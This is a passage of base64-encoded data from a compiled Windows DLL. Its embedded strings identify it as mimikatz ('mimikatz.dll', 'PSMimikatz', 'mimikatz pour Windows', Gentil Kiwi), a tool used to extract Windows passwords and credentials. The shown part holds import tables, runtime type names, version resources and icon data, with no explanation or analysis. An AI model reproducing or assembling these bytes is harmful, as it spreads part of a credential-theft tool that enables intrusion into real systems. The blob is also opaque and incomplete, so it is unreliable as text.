ZQAAzgJIZWFwRGVzdHJveQDFBFRsc0FsbG9jAADHBFRsc0dldFZhbHVlAMgEVGxzU2V0VmFsdWUAxgRUbHNGcmVlAOMCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudAAZAUV4aXRQcm9jZXNzABQCR2V0TW9kdWxlRmlsZU5hbWVXAABvBFNldEhhbmRsZUNvdW50AADzAUdldEZpbGVUeXBlAGMCR2V0U3RhcnR1cEluZm9XAGYEU2V0RmlsZVBvaW50ZXIAAGgBR2V0QUNQAAA3AkdldE9FTUNQAAAKA0lzVmFsaWRDb2RlUGFnZQCHBFNldFN0ZEhhbmRsZQAAmwJHZXRVc2VyRGVmYXVsdExDSUQAAAYCR2V0TG9jYWxlSW5mb1cAAAQCR2V0TG9jYWxlSW5mb0EAAA0BRW51bVN5c3RlbUxvY2FsZXNBAAAMA0lzVmFsaWRMb2NhbGUAmgFHZXRDb25zb2xlQ1AAAKwBR2V0Q29uc29sZU1vZGUAANQCSGVhcFNpemUAABMCR2V0TW9kdWxlRmlsZU5hbWVBAABhAUZyZWVFbnZpcm9ubWVudFN0cmluZ3NXANoBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAApwNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgCTAkdldFRpY2tDb3VudAAAwQFHZXRDdXJyZW50UHJvY2Vzc0lkAHkCR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAJAVXcml0ZUNvbnNvbGVXAFMEU2V0RW5kT2ZGaWxlAABKAkdldFByb2Nlc3NIZWFwAABLRVJORUwzMi5kbGwAAAAAAAAAAAAAAAAp10lSAAAAAGzxBAABAAAAAgAAAAIAAABY8QQAYPEEAGjxBADG6gAAg+kAAHnxBACE8QQAAAABAG1pbWlrYXR6LmRsbABQU01pbWlrYXR6AFdTdHJpbmdGdW5jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM5wMQAAAAAC4/QVZlcnJvcl9jYXRlZ29yeUBzdGRAQAAAAAAM5wMQAAAAAC4/QVZf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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwADAAAAKAAAgA4AAACYAACAEAAAAMgAAIAAAAAAAAAAAAAAAAAAAAwAAQAAAOAAAIACAAAA+AAAgAMAAAAQAQCABAAAACgBAIAFAAAAQAEAgAYAAABYAQCABwAAAHABAIAIAAAAiAEAgAkAAACgAQCACgAAALgBAIALAAAA0AEAgAwAAADoAQCAAAAAAAAAAAAAAAAAAAAEAGQAAAAAAgCAyQAAABgCAIDKAAAAMAIAgMsAAABIAgCAAAAAAAAAAAAAAAAAAAABAAEAAABgAgCAAAAAAAAAAAAAAAAAAAABAAwEAAB4AgAAAAAAAAAAAAAAAAAAAAABAAwEAACIAgAAAAAAAAAAAAAAAAAAAAABAAwEAACYAgAAAAAAAAAAAAAAAAAAAAABAAwEAACoAgAAAAAAAAAAAAAAAAAAAAABAAwEAAC4AgAAAAAAAAAAAAAAAAAAAAABAAwEAADIAgAAAAAAAAAAAAAAAAAAAAABAAwEAADYAgAAAAAAAAAAAAAAAAAAAAABAAwEAADoAgAAAAAAAAAAAAAAAAAAAAABAAwEAAD4AgAAAAAAAAAAAAAAAAAAAAABAAwEAAAIAwAAAAAAAAAAAAAAAAAAAAABAAwEAAAYAwAAAAAAAAAAAAAAAAAAAAABAAwEAAAoAwAAAAAAAAAAAAAAAAAAAAABAAwEAAA4AwAAAAAAAAAAAAAAAAAAAAABAAwEAABIAwAAAAAAAAAAAAAAAAAAAAABAAwEAABYAwAAAAAAAAAAAAAAAAAAAAABAAwEAABoAwAAAAAAAAAAAAAAAAAAAAABAAwEAAB4AwAAKFYFAKglAAAAAAAAAAAAANB7BQCoEAAAAAAAAAAAAAB4jAUAaAQAAAAAAAAAAAAAEJEFAKglAAAAAAAAAAAAALi2BQCoEAAAAAAAAAAAAABgxwUAaAQAAAAAAAAAAAAA+MsFAKglAAAAAAAAAAAAAKDxBQCoEAAAAAAAAAAAAABIAgYAaAQAAAAAAAAAAAAA4AYGAKglAAAAAAAAAAAAAIgsBgCoEAAAAAAAAAAAAAAwPQYAaAQAAAAAAAAAAAAA4JAFADAAAAAAAAAAAAAAAMjLBQAwAAAAAAAAAAAAAACwBgYAMAAAAAAAAAAAAAAAmEEGADAAAAAAAAAAAAAAAJBTBQCYAgAAAAAAAAAAAAAAAAAAAAAAAJgCNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAQAAAAAAAAABAAAAAAA/AAAAAAAAAAQABAABAAAAAAAAAAAAAAAAAAAA+AEAAAEAUwB0AHIAaQBuAGcARgBpAGwAZQBJAG4AZgBvAAAA1AEAAAEAMAA0ADAAYwAwADQAYgAwAAAAOAAMAAEAQwBvAG0AcABhAG4AeQBOAGEAbQBlAAAAAABHAGUAbgB0AGkAbAAgAEsAaQB3AGkAAABUABYAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAAbQBpAG0AaQBrAGEAdAB6ACAAcABvAHUAcgAgAFcAaQBuAGQAbwB3AHMAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAuADAAAAAyAAkAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAG0AaQBtAGkAawBhAHQAegAAAAAAYgAfAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBvAHAAeQByAGkAZwBoAHQAIAAoAEMAKQAgADIAMAAxADIAIABHAGUAbgB0AGkAbAAgAEsAaQB3AGkAAAAAADIACQABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAbQBpAG0AaQBrAGEAdAB6AAAAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAwEsAQoAAAAMAAAAGAAAAABACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFT9iAAoFAQALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsAFkJnAAoGAwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACQMAAAsKCQALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAgsLCwQLCwsJCwsLDgsLCxMLCwsXCwsLGgsLCxcLCwsTCwsLDQsLCwULCwsCCwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwoJAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLBwsLCxYLCwsnCwsLOAsJCT8LCQdFCwkHTQsJB1kLCQdkCwkJcAsLCXsLCwuFCwsMigsLDIkLCwt/CwsLcwsLC2ULCwtWCwsLSQsLC0ALCws6CwsLLgsLCxwLCwsKCwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLDQsLCx4LCws2CwsLTgsLC2YLCQVzDQkGhw0NDZ8NDRGuDhMXvg0OEbwJDA6+CwsLxg0LCMwLBwPKCwgD0QsIBdQLCQfTCwsJzQsLC8QLCwy7CwsLsQsLC6gLCwucCwsLigsLC2wLCwtKCwsLKQsLCxELCwsDCwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwAL